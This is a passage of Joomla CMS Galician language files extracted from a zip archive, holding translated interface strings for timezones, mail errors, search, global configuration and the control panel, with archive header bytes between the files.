-09:30) Taiohae, Marquesas Islands" UTC__09_00__ALASKA="(UTC -09:00) Alaska" UTC__08_00__PACIFIC_TIME__US__AMP__CANADA_="(UTC -08:00) Pacific Time (US & Canada)" UTC__07_00__MOUNTAIN_TIME__US__AMP__CANADA_="(UTC -07:00) Mountain Time (US & Canada)" UTC__06_00__CENTRAL_TIME__US__AMP__CANADA___MEXICO_CITY="(UTC -06:00) Central Time (US & Canada), Mexico City" UTC__05_00__EASTERN_TIME__US__AMP__CANADA___BOGOTA__LIMA="(UTC -05:00) Eastern Time (US & Canada), Bogota, Lima" UTC__04_30__VENEZUELA="(UTC -04:30) Venezuela" UTC__04_00__ATLANTIC_TIME__CANADA___CARACAS__LA_PAZ="(UTC -04:00) Atlantic Time (Canada), Caracas, La Paz" UTC__03_30__ST__JOHN_S__NEWFOUNDLAND__LABRADOR="(UTC -03:30) St. John's, Newfoundland and Labrador" UTC__03_00__BRAZIL__BUENOS_AIRES__GEORGETOWN="(UTC -03:00) Brazil, Buenos Aires, Georgetown" UTC__02_00__MID_ATLANTIC="(UTC -02:00) Mid-Atlantic" UTC__01_00__AZORES__CAPE_VERDE_ISLANDS="(UTC -01:00) Azores, Cape Verde Islands" UTC_00_00__WESTERN_EUROPE_TIME__LONDON__LISBON__CASABLANCA="(UTC 00:00) Western Europe Time, London, Lisbon, Casablanca" UTC__01_00__AMSTERDAM__BERLIN__BRUSSELS__COPENHAGEN__MADRID__PARIS="(UTC +01:00) Amsterdam, Berlin, Brussels, Copenhagen, Madrid, Paris" UTC__02_00__ISTANBUL__JERUSALEM__KALININGRAD__SOUTH_AFRICA="(UTC +02:00) Istanbul, Jerusalem, Kaliningrad, South Africa" UTC__03_00__BAGHDAD__RIYADH__MOSCOW__ST__PETERSBURG="(UTC +03:00) Baghdad, Riyadh, Moscow, St. Petersburg" UTC__03_30__TEHRAN="(UTC +03:30) Tehran" UTC__04_00__ABU_DHABI__MUSCAT__BAKU__TBILISI="(UTC +04:00) Abu Dhabi, Muscat, Baku, Tbilisi" UTC__04_30__KABUL="(UTC +04:30) Kabul" UTC__05_00__EKATERINBURG__ISLAMABAD__KARACHI__TASHKENT="(UTC +05:00) Ekaterinburg, Islamabad, Karachi, Tashkent" UTC__05_30__BOMBAY__CALCUTTA__MADRAS__NEW_DELHI__COLOMBO="(UTC +05:30) Bombay, Calcutta, Madras, New Delhi, Colombo" UTC__05_45__KATHMANDU="(UTC +05:45) Kathmandu" UTC__06_00__ALMATY__DHAKA="(UTC +06:00) Almaty, Dhaka" UTC__06_30__YAGOON="(UTC +06:30) Yagoon" UTC__07_00__BANGKOK__HANOI__JAKARTA__PHNOM_PENH="(UTC +07:00) Bangkok, Hanoi, Jakarta, Phnom Penh" UTC__08_00__BEIJING__PERTH__SINGAPORE__HONG_KONG="(UTC +08:00) Beijing, Perth, Singapore, Hong Kong" UTC__08_00__WESTERN_AUSTRALIA="(UTC +08:00) Western Australia" UTC__09_00__TOKYO__SEOUL__OSAKA__SAPPORO__YAKUTSK="(UTC +09:00) Tokyo, Seoul, Osaka, Sapporo, Yakutsk" UTC__09_30__ADELAIDE__DARWIN__YAKUTSK="(UTC +09:30) Adelaide, Darwin, Yakutsk" UTC__10_00__EASTERN_AUSTRALIA__GUAM__VLADIVOSTOK="(UTC +10:00) Eastern Australia, Guam, Vladivostok" UTC__10_30__LORD_HOWE_ISLAND__AUSTRALIA_="(UTC +10:30) Lord Howe Island (Australia)" UTC__11_00__MAGADAN__SOLOMON_ISLANDS__NEW_CALEDONIA="(UTC +11:00) Magadan, Solomon Islands, New Caledonia" UTC__11_30__NORFOLK_ISLAND="(UTC +11:30) Norfolk Island" UTC__12_00__AUCKLAND__WELLINGTON__FIJI__KAMCHATKA="(UTC +12:00) Auckland, Wellington, Fiji, Kamchatka" UTC__12_45__CHATHAM_ISLAND="(UTC +12:45) Chatham Island" UTC__13_00__TONGA="(UTC +13:00) Tonga" UTC__14_00__KIRIBATI="(UTC +14:00) Kiribati" ; Mailer Codes PHPMAILER_PROVIDE_ADDRESS="Debe proporcionar polo menos un destinatario de correo electrónico." PHPMAILER_MAILER_IS_NOT_SUPPORTED=" O servizo de correo non está soportado." PHPMAILER_EXECUTE="Non foi posíbel executar: " PHPMAILER_INSTANTIATE="Non se pode iniciar a función de correo." PHPMAILER_AUTHENTICATE="Error SMTP: Non foi posíbel autenticar." PHPMAILER_FROM_FAILED="Fallou o enderezo do seguinte destinatario: " PHPMAILER_RECIPIENTS_FAILED="Erro SMTP: Fallaron os seguintes destinatarios: " PHPMAILER_DATA_NOT_ACCEPTED="Erro SMTP: Datos non aceptados." PHPMAILER_CONNECT_HOST="Erro SMTP: Non foi posíbel conectarse ao servidor SMTP." PHPMAILER_FILE_ACCESS="Non foi posíbel acceder ao ficheiro: " PHPMAILER_FILE_OPEN="Erro de ficheiro: Non foi posíbel abrir o ficheiro " PHPMAILER_ENCODING="Codificación descoñecida: " PHPMAILER_SIGNING_ERROR="Erro de sinatura: " PHPMAILER_SMTP_ERROR="Erro do servidor SMTP: " PHPMAILER_EMPTY_MESSAGE="Corpo da mensaxe baleiro" PHPMAILER_INVALID_ADDRESS="Enderezo non válido" PHPMAILER_VARIABLE_SET="Non é posíbel estabelecer ou reiniciar a variábel: " PHPMAILER_SMTP_CONNECT_FAILED="Fallou a conexión SMTP" PHPMAILER_TLS="Non foi posíbel comezar o TLS" PK@y>\c'language/gl-ES/gl-ES.com_search.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_SEARCH="Buscar" COM_SEARCH_SEARCH_VIEW_DEFAULT_DESC="Amosar resultados da busca." COM_SEARCH_SEARCH_VIEW_DEFAULT_OPTION="Predeterminado" COM_SEARCH_SEARCH_VIEW_DEFAULT_TITLE="Amosar un formulario de busca ou os resultados de busca" COM_SEARCH_XML_DESCRIPTION="Compoñente para funcións de busca" PK@y>\5SS#language/gl-ES/gl-ES.com_config.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONFIG="Xestor de configuración" COM_CONFIG_ACTION_ADMIN_DESC="Permite que os usuarios do grupo poidan realizar calquera acción en todo o sitio. Independentemente de calquera outra configuración de permisos." COM_CONFIG_ACTION_CREATE_DESC="Permite que os usuarios do grupo poida crear contido en calquera extensión." COM_CONFIG_ACTION_DELETE_DESC="Permite que os usuarios do grupo poidan borrar calquera contido de calquera extensión." COM_CONFIG_ACTION_EDIT_DESC="Permite que os usuarios do grupo poidan modificar calquera contido de calquera extensión." COM_CONFIG_ACTION_EDITOWN_DESC="Permite que os usuarios do grupo poidan modificar calquera contido que posúan en calquera extensión." COM_CONFIG_ACTION_EDITSTATE_DESC="Permite que os usuarios do grupo poidan modificar o estado de calquera contido en calquera extensión." COM_CONFIG_ACTION_LOGIN_ADMIN_DESC="Permite que os usuarios do grupo poidan identificarse na administración do sitio." COM_CONFIG_ACTION_LOGIN_OFFLINE_DESC="Permite aos usuarios do grupo acceder á portada sitio cando este está fora de liña." COM_CONFIG_ACTION_LOGIN_SITE_DESC="Permite que os usuario do grupo poidan identificarse na portada do sitio." COM_CONFIG_ACTION_MANAGE_DESC="Permite aos usuarios do grupo acceder a toda a interface de administración excepto á configuración global" COM_CONFIG_CACHE_SETTINGS="Configuración da caché" COM_CONFIG_COMPONENT_FIELDSET_LABEL="Compoñente" COM_CONFIG_COOKIE_SETTINGS="Configuración das cookies" COM_CONFIG_DATABASE_SETTINGS="Configuración da base de datos" COM_CONFIG_DEBUG_SETTINGS="Configuración da depuración" COM_CONFIG_ERROR_COMPONENT_ASSET_NOT_FOUND="A liña para o compoñente non se atopa na táboa 'asset' da base de datos. Os permisos non foron gardados." COM_CONFIG_ERROR_CONFIG_EXTENSION_NOT_FOUND="Non foi posíbel atopar a extensión da configuración global. Os filtros de texto definidos non se gardaron." COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTUNWRITABLE="Non foi posíbel pór como non escribíbel o ficheiro configuration.php." COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTWRITABLE="Non foi posíbel pór como escribíbel o ficheiro configuration.php." COM_CONFIG_ERROR_HELPREFRESH_ERROR_STORE="Non foi posíbel gardar a nova lista de sitio de axuda" COM_CONFIG_ERROR_HELPREFRESH_FETCH="Non foi posíbel recibir do servidor remoto a lista de sitios de axuda" COM_CONFIG_ERROR_ROOT_ASSET_NOT_FOUND="A liña para o compoñente non se atopa na táboa 'asset' da base de datos. Os permisos non foron gardados." COM_CONFIG_ERROR_REMOVING_SUPER_ADMIN="Non pode eliminar os seus propios permisos de Súper Administrador." COM_CONFIG_ERROR_WRITE_FAILED="Non foi posíbel escribir o ficheiro de configuración" COM_CONFIG_FIELD_CACHE_HANDLER_DESC="Escolla controlador de memoria caché para permitir o almacenamento na caché. O mecanismo nativo da caché está baseado en ficheiros. Asegúrese de que os cartafoles da caché son escribíbeis." COM_CONFIG_FIELD_CACHE_HANDLER_LABEL="Manexador da caché" COM_CONFIG_FIELD_CACHE_LABEL="Caché" COM_CONFIG_FIELD_CACHE_DESC="Activar ou desactivar o sistema caché e establecer o nivel. Nivel conservativo: sistema máis pequeno de caché. Nivel progresivo (predeterminado): máis rápido, maior memoria de caché do sistema, inclúe o módulo de renderizado da caché. Non apropiado para sitios extremadamente grandes." COM_CONFIG_FIELD_CACHE_TIME_DESC="A duración máxima de tempo en minutos para que o ficheiro onde se almacena a caché sexa actualizado." COM_CONFIG_FIELD_CACHE_TIME_LABEL="Tempo da caché" COM_CONFIG_FIELD_COOKIE_DOMAIN_DESC="Dominio a usar cando se usan as cookies de sesión. Preceda o dominio con '.' para que a cookie sexa válida para todos os subdominios." COM_CONFIG_FIELD_COOKIE_DOMAIN_LABEL="Dominio da cookie" COM_CONFIG_FIELD_COOKIE_PATH_DESC="Ruta válida para a cookie." COM_CONFIG_FIELD_COOKIE_PATH_LABEL="Ruta da cookie" COM_CONFIG_FIELD_DATABASE_HOST_DESC="O nome do servidor da base de datos que indicou durante a instalación. Non mude este campo de non ser absolutamente preciso (por ex. o cambio da base de datos para un novo provedor de aloxamento)." COM_CONFIG_FIELD_DATABASE_HOST_LABEL="Servidor" COM_CONFIG_FIELD_DATABASE_NAME_DESC="O nome da base de datos que indicou durante a instalación. Non mude este campo de non ser absolutamente preciso (por ex. o cambio da base de datos para un novo provedor de aloxamento)." COM_CONFIG_FIELD_DATABASE_NAME_LABEL="Nome da base de datos" COM_CONFIG_FIELD_DATABASE_PREFIX_DESC="O prefixo empregado para a súa base de datos, introducido durante o proceso de instalación. Non modifique este campo a non ser que sexa absolutamente preciso (por exemplo a transferencia da base de datos a un novo provedor de hospedaxe)." COM_CONFIG_FIELD_DATABASE_PREFIX_LABEL="Prefixo das táboas da base de datos" COM_CONFIG_FIELD_DATABASE_TYPE_DESC="O tipo de base de datos a usar que indicou durante a instalación. Non mude este campo de non ser absolutamente preciso (por ex. o cambio da base de datos para un novo provedor de aloxamento)." COM_CONFIG_FIELD_DATABASE_TYPE_LABEL="Tipo de base de dados" COM_CONFIG_FIELD_DATABASE_USERNAME_DESC="O nome de usuario para acceder á base de datos que indicou durante a instalación. Non mude este campo de non ser absolutamente preciso (por ex. o cambio da base de datos para un novo provedor de aloxamento)." COM_CONFIG_FIELD_DATABASE_USERNAME_LABEL="Nome de usuario da base de dados" COM_CONFIG_FIELD_DEBUG_LANG_DESC="Seleccione se se amosan os indicadores da depuración (**...**) o (??...??) para os ficheiros de idioma do Joomla!. A depuración do idioma funcionará sen a depuración do sistema activada, pero non terá referencias adicionais que o axudarán a corrixir calquera erro." COM_CONFIG_FIELD_DEBUG_LANG_LABEL="Depurar idioma" COM_CONFIG_FIELD_DEBUG_SYSTEM_DESC="Se está activada a información de diagnóstico da tradución do idioma e ten lugar un erro SQL, este será amosado. A información amosarase ao final de cada páxina que estea a ver dentro do Joomla, tanto na parte de administración como da portada. Desaconséllase deixar o modo de depuración activado nin sitio web en produción." COM_CONFIG_FIELD_DEBUG_SYSTEM_LABEL="Depurar sistema" COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_DESC="Elixa o nivel predeterminado de acceso ao sitio para crear novo contido, elementos de menú e outros elementos." COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_LABEL="Nivel de acceso predeterminado" COM_CONFIG_FIELD_DEFAULT_EDITOR_DESC="Seleccione o editor de texto predeterminado para o sitio. os usuarios rexistrados poderán mudalo desde as preferencias da súa conta persoal, se teñen permitida esta opción." COM_CONFIG_FIELD_DEFAULT_EDITOR_LABEL="Editor predeterminado" COM_CONFIG_FIELD_DEFAULT_CAPTCHA_DESC="Escolla o sistema de protección captcha para o seu sitio. Precisará inserir a información de configuración no xestor de engadidos." COM_CONFIG_FIELD_DEFAULT_CAPTCHA_LABEL="Captcha predeterminado" COM_CONFIG_FIELD_DEFAULT_FEED_LIMIT_DESC="Seleccione o número de elementos de contido para amosar nas sementes." COM_CONFIG_FIELD_DEFAULT_FEED_LIMIT_LABEL="Límite de sementes predeterminado" COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_DESC="Establece, para todos os usuarios, o tamaño das listas predeterminado na administración." COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_LABEL="Límite das listas predeterminado" COM_CONFIG_FIELD_ERROR_REPORTING_DESC="Seleccione o nivel axeitado para a presentación de informes da lista despregábel. Ver as pantallas de axuda para máis detalles." COM_CONFIG_FIELD_ERROR_REPORTING_LABEL="Informe de erros" COM_CONFIG_FIELD_FEED_EMAIL_DESC="As sementes RSS e Atom inclúen o correo electrónico do autor. Seleccione o correo electrónico do autor (desde o xestor de usuarios) no servidor de sementes. Seleccione o correo electrónico do sitio para incluír o enderezo de correo electrónico do sitio en cada artigo (enderezo definido na configuración de correo electrónico de remitente)." COM_CONFIG_FIELD_FEED_EMAIL_LABEL="Correo electrónico da semente" COM_CONFIG_FIELD_FILTERS_DEFAULT_BLACK_LIST="Lista negra predeterminada" COM_CONFIG_FIELD_FILTERS_CUSTOM_BLACK_LIST="Lista negra personalizada" COM_CONFIG_FIELD_FILTERS_NO_HTML="Sen HTML" COM_CONFIG_FIELD_FILTERS_NO_FILTER="Sen filtros" COM_CONFIG_FIELD_FILTERS_WHITE_LIST="Lista branca" COM_CONFIG_FIELD_FORCE_SSL_DESC="Forzar o acceso ao sitio para que sempre sexa con SSL (https) nas áreas escollidas. Non poderá acceder a ditas áreas en modo non-SSL. Note que debe ter activado SSL no seu servidor para poder empregar esta opción." COM_CONFIG_FIELD_FORCE_SSL_LABEL="Forzar SSL" COM_CONFIG_FIELD_FTP_ENABLE_DESC="Activar a funcionalidade do FTP (Protocolo de Transferencia de Ficheiros) a cal é precisa nalgúns servidores para empregar no canto da funcionalidade de subida normal do Joomla!." COM_CONFIG_FIELD_FTP_ENABLE_LABEL="Activar o FTP" COM_CONFIG_FIELD_FTP_HOST_DESC="Insira o nome do sei servidor de FTP" COM_CONFIG_FIELD_FTP_HOST_LABEL="Servidor de FTP" COM_CONFIG_FIELD_FTP_PASSWORD_DESC="Insira a súa clave do FTP" COM_CONFIG_FIELD_FTP_PASSWORD_LABEL="Clave do FTP" COM_CONFIG_FIELD_FTP_PORT_DESC="Insira o porto polo que o servidor do FTP atende. O porto predeterminado é o 21." COM_CONFIG_FIELD_FTP_PORT_LABEL="Porto do FTP" COM_CONFIG_FIELD_FTP_ROOT_DESC="A ruta do cartafol raíz do servidor FTP. O cartafol raíz é o cartafol base ao que o servidor do FTP permite acceder." COM_CONFIG_FIELD_FTP_ROOT_LABEL="Raíz do FTP" COM_CONFIG_FIELD_FTP_USERNAME_DESC="O nome de usuario empregado para acceder ao servidor FTP." COM_CONFIG_FIELD_FTP_USERNAME_LABEL="Nome de usuario do FTP" COM_CONFIG_FIELD_GZIP_COMPRESSION_DESC="Comprimir a memoria intermedia de saída, se esta permitido." COM_CONFIG_FIELD_GZIP_COMPRESSION_LABEL="Compresión da páxina con GZIP" COM_CONFIG_FIELD_HELP_SERVER_DESC="Seleccione o nome do servidor de axuda desde onde o seu sistema recollerá as pantallas de axuda a amosar." COM_CONFIG_FIELD_HELP_SERVER_LABEL="Servidor de axuda" COM_CONFIG_FIELD_LOG_PATH_DESC="Especifique un cartafol para os ficheiros de rexistro do Joomla!" COM_CONFIG_FIELD_LOG_PATH_LABEL="Ruta do cartafol de rexistro" COM_CONFIG_FIELD_MAIL_FROM_EMAIL_DESC="O enderezo de correo electrónico que se empregará para o envío de correos desde o sitio." COM_CONFIG_FIELD_MAIL_FROM_EMAIL_LABEL="Remitente do correo electrónico" COM_CONFIG_FIELD_MAIL_FROM_NAME_DESC="Texto a amosar no campo da cabeceira \"_QQ_\"De:\"_QQ_\" cando se envía un correo desde o sitio. Adoita ser o nome do sitio." COM_CONFIG_FIELD_MAIL_FROM_NAME_LABEL="Nome do remitente" COM_CONFIG_FIELD_MAIL_MAILER_DESC="Seleccione o servizo que enviará os correos electrónicos do sitio." COM_CONFIG_FIELD_MAIL_MAILER_LABEL="Servizo de correo" COM_CONFIG_FIELD_MAIL_SENDMAIL_PATH_DESC="Insira a ruta do cartafol do sendmail (no servidor de aloxamento). " COM_CONFIG_FIELD_MAIL_SENDMAIL_PATH_LABEL="Ruta para o sendmail" COM_CONFIG_FIELD_MAIL_SMTP_AUTH_DESC="Selecciona si, se seu servidor SMTP require autenticación SMTP." COM_CONFIG_FIELD_MAIL_SMTP_AUTH_LABEL="Autenticación SMTP" COM_CONFIG_FIELD_MAIL_SMTP_HOST_DESC="Insira o nome do servidor SMTP." COM_CONFIG_FIELD_MAIL_SMTP_HOST_LABEL="Servidor SMTP" COM_CONFIG_FIELD_MAIL_SMTP_PASSWORD_DESC="Insira a clave do servidor SMTP" COM_CONFIG_FIELD_MAIL_SMTP_PASSWORD_LABEL="Clave SMTP" COM_CONFIG_FIELD_MAIL_SMTP_PORT_DESC="Insira o número do porto do servidor SMTP. Empregase 25 para a maioría dos servidores inseguros e 465 para a maioría dos servidores seguros" COM_CONFIG_FIELD_MAIL_SMTP_PORT_LABEL="Porto SMTP" COM_CONFIG_FIELD_MAIL_SMTP_SECURE_DESC="Seleccione o modelo se seguranza que usa o servidor SMTP." COM_CONFIG_FIELD_MAIL_SMTP_SECURE_LABEL="Seguranza SMTP" COM_CONFIG_FIELD_MAIL_SMTP_USERNAME_DESC="Insira o nome de usuario para o acceso ao servidor SMTP." COM_CONFIG_FIELD_MAIL_SMTP_USERNAME_LABEL="Nome de usuario SMTP" COM_CONFIG_FIELD_MEMCACHE_COMPRESSION_DESC="Compresión de memoria caché" COM_CONFIG_FIELD_MEMCACHE_COMPRESSION_LABEL="Compresión de memoria caché" COM_CONFIG_FIELD_MEMCACHE_HOST_DESC="Servidor de memoria caché" COM_CONFIG_FIELD_MEMCACHE_HOST_LABEL="Servidor de memoria caché" COM_CONFIG_FIELD_MEMCACHE_PERSISTENT_DESC="Caché de memoria persistente" COM_CONFIG_FIELD_MEMCACHE_PERSISTENT_LABEL="Caché de memoria persistente" COM_CONFIG_FIELD_MEMCACHE_PORT_DESC="Porto do servidor de memoria caché" COM_CONFIG_FIELD_MEMCACHE_PORT_LABEL="Porto do servidor de memoria caché" COM_CONFIG_FIELD_METAAUTHOR_DESC="Amosar os meta datos do autor para indexar o contido do sitio." COM_CONFIG_FIELD_METAAUTHOR_LABEL="Autor do sitio" COM_CONFIG_FIELD_METADESC_DESC="Insira unha descrición xeral do sitio que será empregada polos motores de busca. Normalmente un máximo de 20 palabras é un valor ideal." COM_CONFIG_FIELD_METADESC_LABEL="Meta descrición do sitio" COM_CONFIG_FIELD_METAKEYS_DESC="Insira as palabras chave e frases que mellor describan seu sitio web. Separe as palabras e frases por vírgula (,)." COM_CONFIG_FIELD_METAKEYS_LABEL="Meta palabras chave do sitio" COM_CONFIG_FIELD_METALANGUAGE_DESC="Coloca o idioma seleccionado nos medata datos do sitio." COM_CONFIG_FIELD_METALANGUAGE_LABEL="Meta idioma do sitio" COM_CONFIG_FIELD_METAVERSION_LABEL="Amosar a versión de Joomla!" COM_CONFIG_FIELD_METAVERSION_DESC="Amosa o número da versión Joomla! no xerador de meta etiquetas." COM_CONFIG_FIELD_OFFLINE_IMAGE_DESC="Unha imaxe opcional para amosar na páxina de sitio desconectado. Asegúrese de que a imaxe ten menos de 400px de largura." COM_CONFIG_FIELD_OFFLINE_IMAGE_LABEL="Imaxe de sitio desconectado" COM_CONFIG_FIELD_OFFLINE_MESSAGE_DESC="A mensaxe personalizada de sitio desconectado será amosada se o campo 'Mensaxe de sitio desconectado' está estabelecido a 'Usar mensaxe personalizada'." COM_CONFIG_FIELD_OFFLINE_MESSAGE_LABEL="Mensaxe personalizada" COM_CONFIG_FIELD_SECRET_DESC="Este é un código alfanumérico autoxerado, único para cada instalación Joomla!. Este é empregado para funcións de seguridade." COM_CONFIG_FIELD_SECRET_LABEL="Segredo" COM_CONFIG_FIELD_SEF_REWRITE_DESC="Escolla e utilizará o motor de reescritura do servidor para capturar os URLs que cumpran determinadas condicións e reescribiraos segundo o definido. Dispoñíbel para IIS 7 e Apache.
              Só usuarios de Apache!
              Renomee o ficheiro htaccess.txt a .htaccess antes de activar.
              Só usuarios de IIS7
              Renomee o ficheiro web.config.txt a web.config e instale o módulo de reescritura de USLs para IIS antes de activar.
              " COM_CONFIG_FIELD_SEF_REWRITE_LABEL="Empregar a reescritura de URLs" COM_CONFIG_FIELD_SEF_SUFFIX_DESC="Se si, o sistema engadirá un sufixo ao enderezo URL tendo en conta o tipo de documento." COM_CONFIG_FIELD_SEF_SUFFIX_LABEL="Engade sufixo ao URL" COM_CONFIG_FIELD_SEF_URL_DESC="Seleccione se as URL son optimizadas para os motores de busca." COM_CONFIG_FIELD_SEF_URL_LABEL="URLs amigábeis para os motores de busca" COM_CONFIG_FIELD_SERVER_TIMEZONE_DESC="Elixa unha cidade da lista para configurar a data e hora a amosar." COM_CONFIG_FIELD_SERVER_TIMEZONE_LABEL="Fuso horario" COM_CONFIG_FIELD_SESSION_HANDLER_DESC="O proceso polo cal o Joomla! identifica a un usuario unha vez que conectou ao sitio empregando cookies non persistentes." COM_CONFIG_FIELD_SESSION_HANDLER_LABEL="Manexador da sesión" COM_CONFIG_FIELD_SESSION_TIME_DESC="Auto desconectar a un usuario despois de que teña estado inactivo o número de minutos inseridos. Non establecer moi alto." COM_CONFIG_FIELD_SESSION_TIME_LABEL="Duración da sesión" COM_CONFIG_FIELD_SITE_DISPLAY_MESSAGE_DESC="Amosa ou non unha mensaxe pública cando o sitio estea desconectado. A mensaxe personalizada de sitio desconectado emprega o valor definido no campo 'Mensaxe personalizada'. O idioma da mensaxe de sitio desconectado emprega o valor definido desde o ficheiro INI do idioma do sitio. " COM_CONFIG_FIELD_SITE_DISPLAY_MESSAGE_LABEL="Mensaxe de sitio desactivado" COM_CONFIG_FIELD_SITE_NAME_DESC="Insira o nome do sitio web. Este empregarase en varios lugares (por ex. na barra de título da administración e na páxina que indica que o sitio está desactivado)." COM_CONFIG_FIELD_SITE_NAME_LABEL="Nome do sitio" COM_CONFIG_FIELD_SITE_OFFLINE_DESC="Escolla se o acceso á portada do sitio está dispoñíbel. Se configura como Si, a interface pode amosar unha mensaxe dependendo do definido embaixo." COM_CONFIG_FIELD_SITE_OFFLINE_LABEL="Sitio desactivado" COM_CONFIG_FIELD_SITENAME_PAGETITLES_DESC="O comezo ou final de todos os títulos de páxina comezan co nome do sitio (por exemplo, Meu sitio - Meu título de artigo)." COM_CONFIG_FIELD_SITENAME_PAGETITLES_LABEL="Inclúeo o nome do sitio nos títulos das páxinas." COM_CONFIG_FIELD_TEMP_PATH_DESC="Seleccione un cartafol Temp escribible." COM_CONFIG_FIELD_TEMP_PATH_LABEL="Ruta do cartafol Temp" COM_CONFIG_FIELD_UNICODESLUGS_DESC="Escolla entre transliteración e alias unicode. O predeterminado é transliteración." COM_CONFIG_FIELD_UNICODESLUGS_LABEL="Alias unicode" COM_CONFIG_FIELD_VALUE_ADMINISTRATOR_ONLY="Só administrador" COM_CONFIG_FIELD_VALUE_AFTER="Despois" COM_CONFIG_FIELD_VALUE_AUTHOR_EMAIL="Correo electrónico do autor" COM_CONFIG_FIELD_VALUE_BEFORE="Antes" COM_CONFIG_FIELD_VALUE_CACHE_OFF="Almacenamento caché desactivado" COM_CONFIG_FIELD_VALUE_CACHE_CONSERVATIVE="Almacenamento caché conservativo" COM_CONFIG_FIELD_VALUE_CACHE_PROGRESSIVE="Almacenamento caché progresivo." COM_CONFIG_FIELD_VALUE_DEVELOPMENT="Desenvolvemento" COM_CONFIG_FIELD_VALUE_DISPLAY_OFFLINE_MESSAGE_CUSTOM="Usar mensaxe personalizada" COM_CONFIG_FIELD_VALUE_DISPLAY_OFFLINE_MESSAGE_LANGUAGE="Usar a mensaxe predeterminada do idioma do sitio" COM_CONFIG_FIELD_VALUE_ENTIRE_SITE="Todo o sitio" COM_CONFIG_FIELD_VALUE_MAXIMUM="Máximo" COM_CONFIG_FIELD_VALUE_NO_EMAIL="Sen correo" COM_CONFIG_FIELD_VALUE_NONE="Ningún" COM_CONFIG_FIELD_VALUE_PHP_MAIL="Correo PHP" COM_CONFIG_FIELD_VALUE_SENDMAIL="Sendmail" COM_CONFIG_FIELD_VALUE_SIMPLE="Simple" COM_CONFIG_FIELD_VALUE_SITE_EMAIL="Correo electrónico do sitio" COM_CONFIG_FIELD_VALUE_SMTP="SMTP" COM_CONFIG_FIELD_VALUE_SSL="SSL" COM_CONFIG_FIELD_VALUE_SYSTEM_DEFAULT="Predeterminado" COM_CONFIG_FIELD_VALUE_TLS="TLS" COM_CONFIG_FTP_DETAILS="Datos de acceso FTP" COM_CONFIG_FTP_DETAILS_TIP="Para actualizar o ficheiro configuration.php do Joomla! é moi probábel que requira datos da súa conta FTP. Por favor, insíraos nos campos do seguinte formulario." COM_CONFIG_FTP_SETTINGS="Configuración FTP" COM_CONFIG_GLOBAL_CONFIGURATION="Configuración global" COM_CONFIG_HELPREFRESH_SUCCESS="A lista de sitios de axuda foi actualizada con éxito." COM_CONFIG_LOCATION_SETTINGS="Localización" COM_CONFIG_MAIL_SETTINGS="Configuración do correo electrónico" COM_CONFIG_METADATA_SETTINGS="Configuración dos meta datos" COM_CONFIG_PERMISSION_SETTINGS="Configuración dos permisos" COM_CONFIG_PERMISSIONS="Permisos" COM_CONFIG_SAVE_SUCCESS="A configuración gardouse con éxito." COM_CONFIG_SEO_SETTINGS="Configuración do SEO" COM_CONFIG_SERVER="Servidor" COM_CONFIG_SERVER_SETTINGS="Configuración do servidor" COM_CONFIG_SESSION_SETTINGS="Configuración da sesión" COM_CONFIG_SITE_SETTINGS="Configuración do sitio" COM_CONFIG_SYSTEM="Sistema" COM_CONFIG_SYSTEM_SETTINGS="Configuración do sistema" COM_CONFIG_TEXT_FILTER_SETTINGS="Configuración do filtro de texto" COM_CONFIG_TEXT_FILTERS="Filtros de texto" COM_CONFIG_TEXT_FILTERS_DESC="Esta configuración de filtro de texto aplicarase a todos os campos do editor de textos enviados polos usuarios pertencentes aos grupos seleccionados.
              Estas opcións de filtraxe dan máis control sobre o HTML do contido que envíen seus usuarios. Pode ser máis estrito ou permisivo segundo os requirimentos do seu sitio. A filtraxe predeterminada adoita ofrecer unha boa protección contra as etiquetas que normalmente se asocian con ataques a sitios web." COM_CONFIG_XML_DESCRIPTION="Xestor de configuración" JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este e todos os niveis inferiores (grupos, compoñentes ou contidos). Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\~VV'language/gl-ES/gl-ES.com_cpanel.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CPANEL="Panel de administración" COM_CPANEL_XML_DESCRIPTION="Compoñente do panel de administración" PK@y>\3 #language/gl-ES/gl-ES.com_search.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_SEARCH="Buscar" COM_SEARCH_ALL_WORDS="Todas as palabras" COM_SEARCH_ALPHABETICAL="Alfabeticamente" COM_SEARCH_ANY_WORDS="Calquera palabra" COM_SEARCH_CONFIG_FIELD_CREATED_DATE_DESC="Amosar a data de creación" COM_SEARCH_CONFIG_FIELD_CREATED_DATE_LABEL="Data de creación" COM_SEARCH_CONFIG_GATHER_SEARCH_STATISTICS_DESC="Rexistrar as expresións buscadas polos visitantes." COM_SEARCH_CONFIG_GATHER_SEARCH_STATISTICS_LABEL="Recoller estatísticas de busca" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_NAME_LABEL="Nome OpenSearch" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_NAME_DESC="Nome que amosará o sitio como provedor de buscas." 